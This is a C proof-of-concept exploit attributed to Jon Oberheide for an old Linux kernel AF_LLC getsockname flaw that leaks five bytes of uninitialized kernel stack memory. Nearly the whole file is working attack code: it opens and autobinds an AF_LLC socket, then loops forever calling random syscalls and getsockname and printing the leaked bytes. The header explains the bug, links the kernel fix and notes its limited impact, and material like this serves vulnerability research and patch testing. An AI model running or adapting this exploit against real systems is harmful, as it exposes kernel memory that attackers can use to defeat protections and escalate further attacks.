/* 
 * llc-getsockname-leak.c
 *
 * Linux Kernel <= 2.6.31-rc7 AF_LLC getsockname 5-Byte Stack Disclosure
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 * 
 * Information:
 * 
 *   http://git.kernel.org/linus/28e9fc592cb8c7a43e4d3147b38be6032a0e81bc 
 *
 *   sllc_arphrd member of sockaddr_llc might not be changed. Zero sllc
 *   before copying to the above layer's structure.
 * 
 * Notes:
 * 
 *   Bug is present in <= 2.6.31-rc7, but the impact is limited to <= 2.6.24.4
 *   as AF_LLC sockets have been restricted to CAP_NET_RAW since then. Only 5 
 *   bytes of uninitialized kernel stack are leaked via AF_LLC's getsockname().
 */

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <net/if_arp.h>

#ifndef AF_LLC
#define AF_LLC 26
#endif

#ifndef AF_LLC
#define AF_LLC 26
#endif

#ifndef LLC_SAP_NULL
#define LLC_SAP_NULL 0x00
#endif

#ifndef __LLC_SOCK_SIZE__
#define __LLC_SOCK_SIZE__ 16
struct sockaddr_llc {
  sa_family_t     sllc_family;
  sa_family_t     sllc_arphrd;
  unsigned char   sllc_test;
  unsigned char   sllc_xid;
  unsigned char   sllc_ua;
  unsigned char   sllc_sap;
  unsigned char   sllc_mac[6];
  unsigned char   __pad[__LLC_SOCK_SIZE__ - sizeof(sa_family_t) * 2 -
                        sizeof(unsigned char) * 4 - 6];
};
#endif

const int randcalls[] = {
  __NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
  __NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl, 
  __NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup, 
  __NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl, 
  __NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday, 
  __NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
  __NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid, 
  __NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority, 
  __NR_sched_getparam, __NR_sched_get_priority_max
};

void
dump(const unsigned char *p, unsigned l)
{
  printf("sockaddr_llc:");
  while (l > 0) {
    printf(" ");
    if (l == 12 || l == 2) {
      printf("*** ");
    }
    printf("%02x", *p);
    if (l == 10 || l == 1) {
      printf(" ***");
    }
    ++p; --l;
  }
  printf("\n");
}

int
main(void)
{
  struct sockaddr_llc sllc;
  int ret, sock, call, sllc_len = sizeof(sllc);
  
  printf("[+] Creating AF_LLC socket.\n");

  sock = socket(AF_LLC, SOCK_DGRAM, 0);
  if (sock == -1) {
    printf("[-] Error: Couldn't create AF_LLC socket.\n");
    printf("[-] %s.\n", strerror(errno));
    exit(1);
  }

  memset(&sllc, 0, sllc_len);

  sllc.sllc_family = AF_LLC;
  sllc.sllc_arphrd = ARPHRD_ETHER;
  sllc.sllc_sap = LLC_SAP_NULL;
  
  printf("[+] Dummy sendto to autobind socket.\n");

  ret = sendto(sock, "LEAK", 4, 0, (struct sockaddr *) &sllc, sllc_len);
  if (ret == -1) {
    printf("[-] Error: sendto failed.\n");
    printf("[-] %s.\n", strerror(errno));
    exit(1);
  }

  printf("[+] Ready to call getsockname.\n\n");

  for (ret = 5; ret > 0; ret--) {
    printf("%d...\n", ret);
    sleep(1);
  }
  srand(time(NULL));

  while (1) {
    /* random stuff to make stack pseudo-interesting */
    call = rand() % (sizeof(randcalls) / sizeof(int));
    syscall(randcalls[call]);

    ret = getsockname(sock, (struct sockaddr *) &sllc, &sllc_len);
    if (ret != 0) {
      printf("[-] Error: getsockname failed.\n");
      printf("[-] %s.\n", strerror(errno));
      exit(1);
    }

    dump((unsigned char *) &sllc, sizeof(sllc));
  }

  return 0;
}